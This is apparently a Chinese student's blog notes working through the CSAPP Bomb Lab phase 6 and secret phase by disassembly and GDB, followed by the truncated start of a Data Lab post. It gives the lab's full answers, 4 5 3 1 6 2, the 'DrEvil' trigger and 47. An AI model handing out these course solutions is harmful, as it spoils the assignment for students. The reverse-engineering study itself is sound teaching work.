8048ef1: 8b 44 9c 10 mov 0x10(%esp,%ebx,4),%eax ;eax = a[j] 8048ef5: 39 44 b4 0c cmp %eax,0xc(%esp,%esi,4) ;compare a[i-1] and a[j] 8048ef9: 75 05 jne 8048f00 \u0026lt;phase_6\u0026#43;0x4f\u0026gt; ;if a[i-1] == a[j], explode 8048efb: e8 f5 02 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048f00: 83 c3 01 add $0x1,%ebx ;j\u0026#43;\u0026#43; 8048f03: 83 fb 05 cmp $0x5,%ebx ;if j\u0026lt;=5, jump to 8048ef1 8048f06: 7e e9 jle 8048ef1 \u0026lt;phase_6\u0026#43;0x40\u0026gt; 8048f08: eb c5 jmp 8048ecf \u0026lt;phase_6\u0026#43;0x1e\u0026gt; ;jump to next i of outer loop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 8048eca: be 00 00 00 00 mov $0x0,%esi ;set esi as i, i=0 8048ecf: 8b 44 b4 10 mov 0x10(%esp,%esi,4),%eax ;eax = a[i] 8048ed3: 83 e8 01 sub $0x1,%eax ;eax = a[i] - 1 8048ed6: 83 f8 05 cmp $0x5,%eax ;compare eax with 5 8048ed9: 76 05 jbe 8048ee0 \u0026lt;phase_6+0x2f\u0026gt; ;if a[i] \u0026lt;= 5, dont explode 8048edb: e8 15 03 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048ee0: 83 c6 01 add $0x1,%esi ;i++ 8048ee3: 83 fe 06 cmp $0x6,%esi ;if i \u0026lt; 6, jump to 8048eef 8048ee6: 75 07 jne 8048eef \u0026lt;phase_6+0x3e\u0026gt; 8048ee8: bb 00 00 00 00 mov $0x0,%ebx 8048eed: eb 38 jmp 8048f27 \u0026lt;phase_6+0x76\u0026gt; 8048eef: 89 f3 mov %esi,%ebx ;ebx=j=i 8048ef1: 8b 44 9c 10 mov 0x10(%esp,%ebx,4),%eax ;eax = a[j] 8048ef5: 39 44 b4 0c cmp %eax,0xc(%esp,%esi,4) ;compare a[i-1] and a[j] 8048ef9: 75 05 jne 8048f00 \u0026lt;phase_6+0x4f\u0026gt; ;if a[i-1] == a[j], explode 8048efb: e8 f5 02 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048f00: 83 c3 01 add $0x1,%ebx ;j++ 8048f03: 83 fb 05 cmp $0x5,%ebx ;if j\u0026lt;=5, jump to 8048ef1 8048f06: 7e e9 jle 8048ef1 \u0026lt;phase_6+0x40\u0026gt; 8048f08: eb c5 jmp 8048ecf \u0026lt;phase_6+0x1e\u0026gt; ;jump to next i of outer loop 上面是第二部分，代码里写了注释，包含了我对此代码的初步分析。观察可得，esi和ebx是两个循环变量，对于每个esi，ebx都要变一个来回，这证明了实际上是两层循环，esi设为i，是外层循环的循环变量，ebx设为j，是内层循环的循环变量。用C表示可能会好懂些：\nc 复制代码 for (int i = 0; i \u0026lt; 6;) { if ((a[i] - 1 \u0026gt; 5 || a[i] - 1 \u0026lt;0) \u0026amp;\u0026amp; a[i] != 0) { explode_bomb(); } i\u0026#43;\u0026#43;; for (int j = i; j \u0026lt;= 5; j\u0026#43;\u0026#43;) { if (a[i - 1] == a[j]) { explode_bomb(); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (int i = 0; i \u0026lt; 6;) { if ((a[i] - 1 \u0026gt; 5 || a[i] - 1 \u0026lt;0) \u0026amp;\u0026amp; a[i] != 0) { explode_bomb(); } i++; for (int j = i; j \u0026lt;= 5; j++) { if (a[i - 1] == a[j]) { explode_bomb(); } } } 简单来说，就是保证了数组a中值均小于等于6，且两两不相等。或者说，是1-6的一个排列（减1正是为了去除0的情况）。循环完成后，跳转到0x8048f27，进入第三部分。从这里开始就变得十分抽象了，但暂时没有懂的话不用急，会懂的。\nasm 复制代码 8048f27: 89 de mov %ebx,%esi 8048f29: 8b 4c 9c 10 mov 0x10(%esp,%ebx,4),%ecx 8048f2d: 83 f9 01 cmp $0x1,%ecx 8048f30: 7e e4 jle 8048f16 \u0026lt;phase_6\u0026#43;0x65\u0026gt; 8048f32: b8 01 00 00 00 mov $0x1,%eax 8048f37: ba 3c c1 04 08 mov $0x804c13c,%edx 8048f3c: eb cc jmp 8048f0a \u0026lt;phase_6\u0026#43;0x59\u0026gt; 1 2 3 4 5 6 7 8048f27: 89 de mov %ebx,%esi 8048f29: 8b 4c 9c 10 mov 0x10(%esp,%ebx,4),%ecx 8048f2d: 83 f9 01 cmp $0x1,%ecx 8048f30: 7e e4 jle 8048f16 \u0026lt;phase_6+0x65\u0026gt; 8048f32: b8 01 00 00 00 mov $0x1,%eax 8048f37: ba 3c c1 04 08 mov $0x804c13c,%edx 8048f3c: eb cc jmp 8048f0a \u0026lt;phase_6+0x59\u0026gt; 在这段代码运行之前，在0x8048eed处，ebx已经被归零了，这里大胆猜测它是一个索引变量，这里将其设为k。而按照这个来推断的话，ecx首先被赋值a[k]。然后分了ecx是否小于等于1的情况（没有0，相当于是否等于1），如果不是，先给eax赋1，再将edx赋一个像是地址的立即数。eax可能是另一个索引变量，这里设为l。这里先来看ecx=1的情况。\nasm 复制代码 8048f16: ba 3c c1 04 08 mov $0x804c13c,%edx 8048f1b: 89 54 b4 28 mov %edx,0x28(%esp,%esi,4) 8048f1f: 83 c3 01 add $0x1,%ebx 8048f22: 83 fb 06 cmp $0x6,%ebx 8048f25: 74 17 je 8048f3e \u0026lt;phase_6\u0026#43;0x8d\u0026gt; 1 2 3 4 5 8048f16: ba 3c c1 04 08 mov $0x804c13c,%edx 8048f1b: 89 54 b4 28 mov %edx,0x28(%esp,%esi,4) 8048f1f: 83 c3 01 add $0x1,%ebx 8048f22: 83 fb 06 cmp $0x6,%ebx 8048f25: 74 17 je 8048f3e \u0026lt;phase_6+0x8d\u0026gt; 将1单独拎出来，或许和单独构建之后的数依赖的某种头有关。这里也将刚刚遇见过的一个立即数赋给了edx，那么不得不对其产生怀疑，那就用GDB进行一个内存的读。\n比较难想到的一点是，你直接读取0x804c13c处的一个word，是读不到什么有用的信息的，但也不是完全无迹可寻。首先引人注意的是这个变量的名字 \u0026ldquo;node1\u0026rdquo;，让人不由得考虑链表的结构：如果能够依据此扩展显示的范围，向上图一样多显示几个word，就能够发现端倪。这样很容易能够推断出node的结构：4个字节的内容，4个字节的序号，4个字节的下一节点地址。接着往下读，发现node从1到6，可能对应了刚刚我们输入的六个值。即使不一次读3个也没关系，也能够观察到node标签。\n很巧的是，8048f1b处的基址0x28，正好和a数组基址0x10差了24个字节，也就是6个双字变量。那么上面的汇编代码所要做的事情，就是将编号为1的节点地址存储到a数组之后。之后将ebx也就是k自增1，如果等于6则跳出这个循环，否则直接fallthrough。按理说，单单是a[k]=1的情况不需要又是自增又是判断。那么，如果不为1呢？\nasm 复制代码 8048f32: b8 01 00 00 00 mov $0x1,%eax 8048f37: ba 3c c1 04 08 mov $0x804c13c,%edx 8048f3c: eb cc jmp 8048f0a \u0026lt;phase_6\u0026#43;0x59\u0026gt; 8048f0a: 8b 52 08 mov 0x8(%edx),%edx 8048f0d: 83 c0 01 add $0x1,%eax 8048f10: 39 c8 cmp %ecx,%eax 8048f12: 75 f6 jne 8048f0a \u0026lt;phase_6\u0026#43;0x59\u0026gt; 8048f14: eb 05 jmp 8048f1b \u0026lt;phase_6\u0026#43;0x6a\u0026gt; 1 2 3 4 5 6 7 8 9 8048f32: b8 01 00 00 00 mov $0x1,%eax 8048f37: ba 3c c1 04 08 mov $0x804c13c,%edx 8048f3c: eb cc jmp 8048f0a \u0026lt;phase_6+0x59\u0026gt; 8048f0a: 8b 52 08 mov 0x8(%edx),%edx 8048f0d: 83 c0 01 add $0x1,%eax 8048f10: 39 c8 cmp %ecx,%eax 8048f12: 75 f6 jne 8048f0a \u0026lt;phase_6+0x59\u0026gt; 8048f14: eb 05 jmp 8048f1b \u0026lt;phase_6+0x6a\u0026gt; 我在这里拼接了两段汇编代码，它们原本并不是连续的。现在edx寄存器保存了刚刚链表的首节点地址，而0x8048f0a处的指令，是将edx+8中的内容赋给edx。再次联想到刚刚所说的节点结构，每个节点地址 + 8位置的变量正是保存了下一个节点地址，这相当于C语言中的 p = p -\u0026gt; next。然后将eax即l自增1，直到 l = a [k]。那么C语言代码大概是这样：\nc 复制代码 do { p = p-\u0026gt;next; l\u0026#43;\u0026#43;; } while (l != a[i]); asm(\u0026#34;jmp 0x8048f1b\u0026#34;); 1 2 3 4 5 6 do { p = p-\u0026gt;next; l++; } while (l != a[i]); asm(\u0026#34;jmp 0x8048f1b\u0026#34;); 接下来跳转到0x8048f1b，这也是刚刚a[k]=1的情况中，越过赋初值的语句处。\nasm 复制代码 8048f1b: 89 54 b4 28 mov %edx,0x28(%esp,%esi,4) 8048f1f: 83 c3 01 add $0x1,%ebx 8048f22: 83 fb 06 cmp $0x6,%ebx 8048f25: 74 17 je 8048f3e \u0026lt;phase_6\u0026#43;0x8d\u0026gt; 1 2 3 4 8048f1b: 89 54 b4 28 mov %edx,0x28(%esp,%esi,4) 8048f1f: 83 c3 01 add $0x1,%ebx 8048f22: 83 fb 06 cmp $0x6,%ebx 8048f25: 74 17 je 8048f3e \u0026lt;phase_6+0x8d\u0026gt; 这块代码的行为应该不需要过多解释了，两部分结合来看，所做的事情就是将第 a[k] 个节点的地址，填入esp+0x28这个数组（设置为n）中的第k个位置。连起来，翻译成C语言：\nc 复制代码 int l; node *head = 0x804c13c, *p, *n[6]; for (int k = 0; k \u0026lt; 6; i\u0026#43;\u0026#43;) { if (a[k] == 1) { n[k] = head; } else { p = head; l = 1; do { p = p-\u0026gt;next; l\u0026#43;\u0026#43;; } while (l != a[k]); n[k] = p; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int l; node *head = 0x804c13c, *p, *n[6]; for (int k = 0; k \u0026lt; 6; i++) { if (a[k] == 1) { n[k] = head; } else { p = head; l = 1; do { p = p-\u0026gt;next; l++; } while (l != a[k]); n[k] = p; } } 从0x8048f3e开始，到0x8048f5a，是第四部分。\nasm 复制代码 8048f3e: 8b 5c 24 28 mov 0x28(%esp),%ebx 8048f42: 8d 44 24 2c lea 0x2c(%esp),%eax 8048f46: 8d 74 24 40 lea 0x40(%esp),%esi 8048f4a: 89 d9 mov %ebx,%ecx 8048f4c: 8b 10 mov (%eax),%edx 8048f4e: 89 51 08 mov %edx,0x8(%ecx) 8048f51: 83 c0 04 add $0x4,%eax 8048f54: 39 f0 cmp %esi,%eax 8048f56: 74 04 je 8048f5c \u0026lt;phase_6\u0026#43;0xab\u0026gt; 8048f58: 89 d1 mov %edx,%ecx 8048f5a: eb f0 jmp 8048f4c \u0026lt;phase_6\u0026#43;0x9b\u0026gt; 8048f5c: c7 42 08 00 00 00 00 movl $0x0,0x8(%edx) 1 2 3 4 5 6 7 8 9 10 11 12 8048f3e: 8b 5c 24 28 mov 0x28(%esp),%ebx 8048f42: 8d 44 24 2c lea 0x2c(%esp),%eax 8048f46: 8d 74 24 40 lea 0x40(%esp),%esi 8048f4a: 89 d9 mov %ebx,%ecx 8048f4c: 8b 10 mov (%eax),%edx 8048f4e: 89 51 08 mov %edx,0x8(%ecx) 8048f51: 83 c0 04 add $0x4,%eax 8048f54: 39 f0 cmp %esi,%eax 8048f56: 74 04 je 8048f5c \u0026lt;phase_6+0xab\u0026gt; 8048f58: 89 d1 mov %edx,%ecx 8048f5a: eb f0 jmp 8048f4c \u0026lt;phase_6+0x9b\u0026gt; 8048f5c: c7 42 08 00 00 00 00 movl $0x0,0x8(%edx) 这一段的主要作用是将各节点按照在 n 中的顺序重新连起来，并将尾节点next设为null。它遍历了 p 中5对相邻两节点的组合，并对每个组合，将前一个节点连到后一个节点上，而它的关键就在0x8049f4e：将后一个节点的地址写入到前一个节点的 next 部分。对这一段要整体去把握，如果尝试理解每一句的意思是很有困难的。\nasm 复制代码 8048f63: be 05 00 00 00 mov $0x5,%esi 8048f68: 8b 43 08 mov 0x8(%ebx),%eax 8048f6b: 8b 00 mov (%eax),%eax 8048f6d: 39 03 cmp %eax,(%ebx) 8048f6f: 7d 05 jge 8048f76 \u0026lt;phase_6\u0026#43;0xc5\u0026gt; 8048f71: e8 7f 02 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048f76: 8b 5b 08 mov 0x8(%ebx),%ebx 8048f79: 83 ee 01 sub $0x1,%esi 8048f7c: 75 ea jne 8048f68 \u0026lt;phase_6\u0026#43;0xb7\u0026gt; 1 2 3 4 5 6 7 8 9 8048f63: be 05 00 00 00 mov $0x5,%esi 8048f68: 8b 43 08 mov 0x8(%ebx),%eax 8048f6b: 8b 00 mov (%eax),%eax 8048f6d: 39 03 cmp %eax,(%ebx) 8048f6f: 7d 05 jge 8048f76 \u0026lt;phase_6+0xc5\u0026gt; 8048f71: e8 7f 02 00 00 call 80491f5 \u0026lt;explode_bomb\u0026gt; 8048f76: 8b 5b 08 mov 0x8(%ebx),%ebx 8048f79: 83 ee 01 sub $0x1,%esi 8048f7c: 75 ea jne 8048f68 \u0026lt;phase_6+0xb7\u0026gt; 进入第五部分，这一部分干的事情是将上面提到的5个组合 反向 遍历一遍，并要求前一个节点的值大于等于后一个，即要求最后链表的值是降序排列的。 现在题目的条件就完全显露出来了，我们可以根据节点的值来确定输入六个数的顺序。按原顺序（重新连接之前），可以得出：\n十六进制值 0x12d0x360x2470x3e60x27c0xd0 十进制值 30154583998636208 第一个当然要选择最大的，就是998，对应4；第二个是636，对应5…… 这样推出答案，就是4 5 3 1 6 2。\nSecret Phase 关键词：二叉搜索树\n在 bomb.c 中，作者已经暗示了一个missing的secret phase的存在。但是第六个phase完成后，程序会自动退出，所以我们首先需要另辟蹊径，找一个能够call出secret phase的地方，而它就在phase_defused中。\n在每次phase结束之后，都会调用一次phase_defused。而它的反汇编代码中，有很多跳转语句可能直接跳过secret phase的调用过程。那么直接先分析它的反汇编代码。\nasm 复制代码 8049366: 81 ec 8c 00 00 00 sub $0x8c,%esp 804936c: 65 a1 14 00 00 00 mov %gs:0x14,%eax 8049372: 89 44 24 7c mov %eax,0x7c(%esp) 8049376: 31 c0 xor %eax,%eax 8049378: 83 3d c8 c3 04 08 06 cmpl $0x6,0x804c3c8 804937f: 75 72 jne 80493f3 \u0026lt;phase_defused\u0026#43;0x8d\u0026gt; 1 2 3 4 5 6 8049366: 81 ec 8c 00 00 00 sub $0x8c,%esp 804936c: 65 a1 14 00 00 00 mov %gs:0x14,%eax 8049372: 89 44 24 7c mov %eax,0x7c(%esp) 8049376: 31 c0 xor %eax,%eax 8049378: 83 3d c8 c3 04 08 06 cmpl $0x6,0x804c3c8 804937f: 75 72 jne 80493f3 \u0026lt;phase_defused+0x8d\u0026gt; 这是第一个可能跳过的地方。它将0x804c3c8指向的内容和0x6相比，查到在这之外有 read_line 和 skip 调用了这个地址，但我懒得分析，于是在0x8049378处打断点，在每次运行到此处的时候观察它的值（可以用GDB的display功能）。结果是十分巧合的，每解开一个phase，这个变量都会 + 1。\n而这个变量的label正好叫 num_input_string，代表已经输入的字符串数量，再结合下一行代码来看，如果没有输够六个，就直接跳过去。也就是说，只有在第六个phase之后，才有机会进入secret phase。\nasm 复制代码 8049381: 8d 44 24 2c lea 0x2c(%esp),%eax 8049385: 89 44 24 10 mov %eax,0x10(%esp) 8049389: 8d 44 24 28 lea 0x28(%esp),%eax 804938d: 89 44 24 0c mov %eax,0xc(%esp) 8049391: 8d 44 24 24 lea 0x24(%esp),%eax 8049395: 89 44 24 08 mov %eax,0x8(%esp) 8049399: c7 44 24 04 09 a4 04 movl $0x804a409,0x4(%esp) 80493a0: 08 80493a1: c7 04 24 d0 c4 04 08 movl $0x804c4d0,(%esp) 80493a8: e8 b3 f4 ff ff call 8048860 \u0026lt;__isoc99_sscanf@plt\u0026gt; 80493ad: 83 f8 03 cmp $0x3,%eax 80493b0: 75 35 jne 80493e7 \u0026lt;phase_defused\u0026#43;0x81\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 8049381: 8d 44 24 2c lea 0x2c(%esp),%eax 8049385: 89 44 24 10 mov %eax,0x10(%esp) 8049389: 8d 44 24 28 lea 0x28(%esp),%eax 804938d: 89 44 24 0c mov %eax,0xc(%esp) 8049391: 8d 44 24 24 lea 0x24(%esp),%eax 8049395: 89 44 24 08 mov %eax,0x8(%esp) 8049399: c7 44 24 04 09 a4 04 movl $0x804a409,0x4(%esp) 80493a0: 08 80493a1: c7 04 24 d0 c4 04 08 movl $0x804c4d0,(%esp) 80493a8: e8 b3 f4 ff ff call 8048860 \u0026lt;__isoc99_sscanf@plt\u0026gt; 80493ad: 83 f8 03 cmp $0x3,%eax 80493b0: 75 35 jne 80493e7 \u0026lt;phase_defused+0x81\u0026gt; 这是第二个可能跳过的地方。我们先前已经熟悉了 sscanf 的参数设定，这次使用GDB读取0x804a409的字符串，得到 \u0026ldquo;%d %d %s\u0026rdquo;，这意味着我们需要输入两个数和一个字符串。跳过的条件是少于三个参数。\n这里奇怪的是，为什么在没有输入的情况下，仍然有0x804c4d0作为源字符串？在运行到此处时读取它，发现在使用原正确答案输入的时候，读取到的是 \u0026ldquo;0 0\u0026rdquo;，恰巧和Phase 4的正解之一相同。为了进一步验证这一想法，可以尝试将第四题的所有正解代入，比对输入的正解和读取到的字符串，此处不再详述。结果是确实相同。\n再想到Phase 4也使用了 sscanf，多余的参数并不会影响识别，所以第四题必须多输入一个字符串。\nasm 复制代码 80493b2: c7 44 24 04 12 a4 04 movl $0x804a412,0x4(%esp) 80493b9: 08 80493ba: 8d 44 24 2c lea 0x2c(%esp),%eax 80493be: 89 04 24 mov %eax,(%esp) 80493c1: e8 24 fd ff ff call 80490ea \u0026lt;strings_not_equal\u0026gt; 80493c6: 85 c0 test %eax,%eax 80493c8: 75 1d jne 80493e7 \u0026lt;phase_defused\u0026#43;0x81\u0026gt; 1 2 3 4 5 6 7 80493b2: c7 44 24 04 12 a4 04 movl $0x804a412,0x4(%esp) 80493b9: 08 80493ba: 8d 44 24 2c lea 0x2c(%esp),%eax 80493be: 89 04 24 mov %eax,(%esp) 80493c1: e8 24 fd ff ff call 80490ea \u0026lt;strings_not_equal\u0026gt; 80493c6: 85 c0 test %eax,%eax 80493c8: 75 1d jne 80493e7 \u0026lt;phase_defused+0x81\u0026gt; 这一段将0x804a412指向的字符串（读取得 \u0026ldquo;DrEvil\u0026rdquo;）与 0x2c+esp 处的字符串（即刚刚多输入的那个）相比，如果不相等则跳过。\n现在进入Secret Phase的条件就很清楚了：在第四题的答案后加入一串 \u0026ldquo;DrEvil\u0026rdquo;。按要求输入后，果然弹出了几行文字提示，进入了传说中的Secret Phase。下面是它的部分反汇编代码：\nasm 复制代码 8048fd9: e8 8e 02 00 00 call 804926c \u0026lt;read_line\u0026gt; 8048fde: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 8048fe5: 00 8048fe6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8048fed: 00 8048fee: 89 04 24 mov %eax,(%esp) 8048ff1: e8 da f8 ff ff call 80488d0 \u0026lt;strtol@plt\u0026gt; 1 2 3 4 5 6 7 8048fd9: e8 8e 02 00 00 call 804926c \u0026lt;read_line\u0026gt; 8048fde: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 8048fe5: 00 8048fe6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8048fed: 00 8048fee: 89 04 24 mov %eax,(%esp) 8048ff1: e8 da f8 ff ff call 80488d0 \u0026lt;strtol@plt\u0026gt; 首先调用了一个 read_line，读取一行字符串。然后构建了 strtol 的三个参数，分别是刚刚输入的字符串、0和10。在Shell中输入 man strtol 来查看文档，内容如下。\n可以看到这个函数的功能是将一个字符串转换为长整型。第一个参数是字符串的起始地址；第二个参数是结束地址，这里传入一个0代表NULL；第三个参数则是进制，这里为10。返回值是转换结果。\n那么这一整串代码的作用，就是输入一个整数。\nasm 复制代码 8048ff6: 89 c3 mov %eax,%ebx 8048ff8: 8d 40 ff lea -0x1(%eax),%eax 8048ffb: 3d e8 03 00 00 cmp $0x3e8,%eax 8049000: 76 05 jbe 8049007 \u0026lt;secret_phase\u0026#43;0x32\u0026gt; 1 2 3 4 8048ff6: 89 c3 mov %eax,%ebx 8048ff8: 8d 40 ff lea -0x1(%eax),%eax 8048ffb: 3d e8 03 00 00 cmp $0x3e8,%eax 8049000: 76 05 jbe 8049007 \u0026lt;secret_phase+0x32\u0026gt; 这部分代码的作用是限制读取的整数在 $[1,1001]$ 范围内，减一是为了去除0。\nasm 复制代码 8049007: 89 5c 24 04 mov %ebx,0x4(%esp) 804900b: c7 04 24 88 c0 04 08 movl $0x804c088,(%esp) 8049012: e8 6d ff ff ff call 8048f84 \u0026lt;fun7\u0026gt; 8049017: 83 f8 05 cmp $0x5,%eax 804901a: 74 05 je 8049021 \u0026lt;secret_phase\u0026#43;0x4c\u0026gt; 1 2 3 4 5 8049007: 89 5c 24 04 mov %ebx,0x4(%esp) 804900b: c7 04 24 88 c0 04 08 movl $0x804c088,(%esp) 8049012: e8 6d ff ff ff call 8048f84 \u0026lt;fun7\u0026gt; 8049017: 83 f8 05 cmp $0x5,%eax 804901a: 74 05 je 8049021 \u0026lt;secret_phase+0x4c\u0026gt; 这部分调用了 fun7，参数分别是像一个地址的立即数和刚刚输入的数。如果返回值为5，则成功解决Secret Phase。\n下面是 fun7 的部分反汇编代码。\nasm 复制代码 8048f88: 8b 54 24 20 mov 0x20(%esp),%edx 8048f8c: 8b 4c 24 24 mov 0x24(%esp),%ecx 8048f90: 85 d2 test %edx,%edx 8048f92: 74 37 je 8048fcb \u0026lt;fun7\u0026#43;0x47\u0026gt; 1 2 3 4 8048f88: 8b 54 24 20 mov 0x20(%esp),%edx 8048f8c: 8b 4c 24 24 mov 0x24(%esp),%ecx 8048f90: 85 d2 test %edx,%edx 8048f92: 74 37 je 8048fcb \u0026lt;fun7+0x47\u0026gt; 首先很容易看出来 fun7 一开始是检查edx是否为0，但暂时不知道那两个mov是什么意思。瞥一眼后面的代码，发现edx后面的地址多次作为参数被递归调用，于是决定看一眼edx。\nlabel后面有序号，预示着后面可能还有值的存在，将预览范围扩展到下一个label出现前，发现排列有一定的规律。这一块内存似乎表示了一个三元组，由值和两个地址构成，符合一个二叉树节点的形式。按照这个形式把它组织起来，如下图。节点并不是按顺序组织的，写的时候对每个节点只写其值和左右字节点的地址，会更方便。\n我们惊奇地发现这是一棵二叉搜索树，而且是十分平衡的AVL树，刚刚筛选范围在 $[1,1001]$ 的目的，正是保证输入的值有位置可放。GDB读到的label符合一个 $nxy$ 的格式，$x$ 代表层数（从1开始），$y$ 代表从左开始数的序号，如 $n46$ 正好是第四行第六个节点。传入 fun7 的第一个参数是AVL树的当前节点地址（而从 secret_phase 调用时是根节点地址），第二个参数是我们输入的数，分别放置在edx和ecx中，设为 node *p 和 int num。test指令的目的是检查当前节点是否存在（如果不存在则地址为0，相当于NULL），不存在则返回 - 1。\nasm 复制代码 8048f94: 8b 1a mov (%edx),%ebx 8048f96: 39 cb cmp %ecx,%ebx 8048f98: 7e 13 jle 8048fad \u0026lt;fun7\u0026#43;0x29\u0026gt; 1 2 3 8048f94: 8b 1a mov (%edx),%ebx 8048f96: 39 cb cmp %ecx,%ebx 8048f98: 7e 13 jle 8048fad \u0026lt;fun7+0x29\u0026gt; 这段代码比较了 num 和 p-\u0026gt;val，如果前者不小于后者，则跳转。首先来看 num \u0026lt;p-\u0026gt;val 的情况。\nasm 复制代码 8048f9a: 89 4c 24 04 mov %ecx,0x4(%esp) 8048f9e: 8b 42 04 mov 0x4(%edx),%eax 8048fa1: 89 04 24 mov %eax,(%esp) 8048fa4: e8 db ff ff ff call 8048f84 \u0026lt;fun7\u0026gt; 8048fa9: 01 c0 add %eax,%eax 8048fab: eb 23 jmp 8048fd0 \u0026lt;fun7\u0026#43;0x4c\u0026gt; 1 2 3 4 5 6 8048f9a: 89 4c 24 04 mov %ecx,0x4(%esp) 8048f9e: 8b 42 04 mov 0x4(%edx),%eax 8048fa1: 89 04 24 mov %eax,(%esp) 8048fa4: e8 db ff ff ff call 8048f84 \u0026lt;fun7\u0026gt; 8048fa9: 01 c0 add %eax,%eax 8048fab: eb 23 jmp 8048fd0 \u0026lt;fun7+0x4c\u0026gt; 这部分调用了 fun7(p-\u0026gt;left, num)，然后把返回值乘以2再返回。\nasm 复制代码 8048fad: b8 00 00 00 00 mov $0x0,%eax 8048fb2: 39 cb cmp %ecx,%ebx 8048fb4: 74 1a je 8048fd0 \u0026lt;fun7\u0026#43;0x4c\u0026gt; 1 2 3 8048fad: b8 00 00 00 00 mov $0x0,%eax 8048fb2: 39 cb cmp %ecx,%ebx 8048fb4: 74 1a je 8048fd0 \u0026lt;fun7+0x4c\u0026gt; 继续比较 num 和 p-\u0026gt;val，如果相等，返回0。那么剩下的就是 num \u0026gt; p-\u0026gt;val 的情况。\nasm 复制代码 8048fb6: 89 4c 24 04 mov %ecx,0x4(%esp) 8048fba: 8b 42 08 mov 0x8(%edx),%eax 8048fbd: 89 04 24 mov %eax,(%esp) 8048fc0: e8 bf ff ff ff call 8048f84 \u0026lt;fun7\u0026gt; 8048fc5: 8d 44 00 01 lea 0x1(%eax,%eax,1),%eax 8048fc9: eb 05 jmp 8048fd0 \u0026lt;fun7\u0026#43;0x4c\u0026gt; 1 2 3 4 5 6 8048fb6: 89 4c 24 04 mov %ecx,0x4(%esp) 8048fba: 8b 42 08 mov 0x8(%edx),%eax 8048fbd: 89 04 24 mov %eax,(%esp) 8048fc0: e8 bf ff ff ff call 8048f84 \u0026lt;fun7\u0026gt; 8048fc5: 8d 44 00 01 lea 0x1(%eax,%eax,1),%eax 8048fc9: eb 05 jmp 8048fd0 \u0026lt;fun7+0x4c\u0026gt; 调用 func7(p-\u0026gt;right, num)，然后把返回值乘2加1再返回。\n可以看到，func7所做的就是 “搜索” 的操作，我们所期望的返回值5就是根据输入数和节点的关系，通过一层一层递归中的运算构建出来的。借此，我们可以反推num在树中的位置。\n首先num肯定存在于树中，因为如果不存在，必会返回 - 1，无法通过计算得到。很容易能够得到唯一解：$5=((0 \\times 2+1) \\times 2) \\times 2+1$，也就是从根节点出发，路径为右、左、右，得出输入的值为0x2f，即47。\n在对应的位置输入47（我这里直接暴力改寄存器和内存了），Secret Phase也就被解决了。\n如果你看到这里的话，那我大概可以祝贺你成功解开了Bomb Lab。如果给予足够的时间，Bomb Lab是可以带来很多乐趣的，可以说是一个非常巧妙的实验。从一片汇编代码中挖出数据结构再到理清逻辑，是非常有成就感的事情。如果你想对Bomb Lab有更多的研究，可以查看下面的GitHub仓库，里面疑似是Bomb Lab的指导者源码，用于生成炸弹。但如果你还没做完，建议不要进入查看，毕竟正推就没什么意思了，你说呢？\nkiliczsh/cmu-binary-bomb\n","date":"April 6, 2022","matchCount":0,"permalink":"/post/csapp-bomblab/","preview":"","title":"CSAPP 2e Bomb Lab 笔记"},{"content":"本人环境：Ubuntu 22.04 LTS amd64，GCC 11.2.0，GNU Make 4.3\n前言 这是《深入理解计算机系统》的第一个Lab，要求以指定的方式完成某种计算，通过填写函数实现。\n不要忘了阅读 bits.c 开头的Integer Coding Rules和Floating Point Coding Rules，以及每题开头的要求，它规定了使用者可以执行的操作。\n用二进制的思想，而不是十进制的思想，对完成题目有很大的帮助。\n本笔记离不开参考资料的支持，我特意将其放至开头：\n参考资料：\nhttps://github.com/Exely/CSAPP-Labs/blob/master/notes/datalab.md https://www.luogu.com.cn/blog/ACdreamer/lun-wei-yun-suan-chang-shuo-you-hua-di-sao-cao-zuo https://zhuanlan.zhihu.com/p/353348665 https://blog.csdn.net/zjwreal/article/details/80925956 1. bitAnd cpp 复制代码 int bitAnd(int x, int y) { // Just discrete mathematics. XY=\\overline{X\u0026#43;Y}. return ~((~x) | (~y)); } 1 2 3 4 5 int bitAnd(int x, int y) { // Just discrete mathematics. XY=\\overline{X+Y}. return ~((~x) | (~y)); } 计算 x\u0026amp;y，但只能用 ~ 和 | 运算符。\n离散数学的基础关系代数知识，由德摩根律，$XY=\\overline{X+Y}$。\n2. getByte cpp 复制代码 int getByte(int x, int n) { int mask = 0xff; // Leave only the last 2 bytes return (x\u0026gt;\u0026gt; (n \u0026lt;\u0026lt; 3) \u0026amp; mask); // Right move 8n bits, i.e. n bytes } 1 2 3 4 5 int getByte(int x, int n) { int mask = 0xff; // Leave only the last 2 bytes return (x\u0026gt;\u0026gt; (n \u0026lt;\u0026lt; 3) \u0026amp; mask); // Right move 8n bits, i.e. n bytes } 从 $x$ 中获取第 $n$ 位。\n不要把 int x 当成一个整型了，直接想象它的二进制码。如果将指定位的左右两边全都去掉，这个数不就等于想要的单个位了吗？\n去掉右边的数很容易，直接右移 $8n$ 位，这样想要的部分就直接到了最低位。而要去掉多余的高位，需要让它与 mask 按位与，来将高位置0。\n那，mask 是个什么来头？先说说子网掩码：如果有两个IP地址，将它们分别与子网掩码做按位与运算，若结果相同，则这两个IP地址在同一个网段中。mask 有类似的功能，具体来说，这里的 mask 转换为二进制是1111 1111 1111 1111，如果作为一个int类型，前24位皆为0。将这个数与任何一个int进行按位与，结果就是将前24位全部置0的原数，因为 $0\\\u0026amp;x=0$，$1\\\u0026amp;x=x$，其中 $x=0\\ or\\ 1$。后面我们还会使用这个设计。\n3. logicalShift cpp 复制代码 int logicalShift(int x, int n) { int topMask = 0x1 \u0026lt;\u0026lt;(32 \u0026#43; ~n); // 32\u0026#43;~n=31-n, to get the top mask int lowerMask = (0x1 \u0026lt;\u0026lt; (32 \u0026#43; ~n)) \u0026#43; ~0; return (x\u0026gt;\u0026gt; n) \u0026amp; (topMask | lowerMask); } 1 2 3 4 5 6 int logicalShift(int x, int n) { int topMask = 0x1 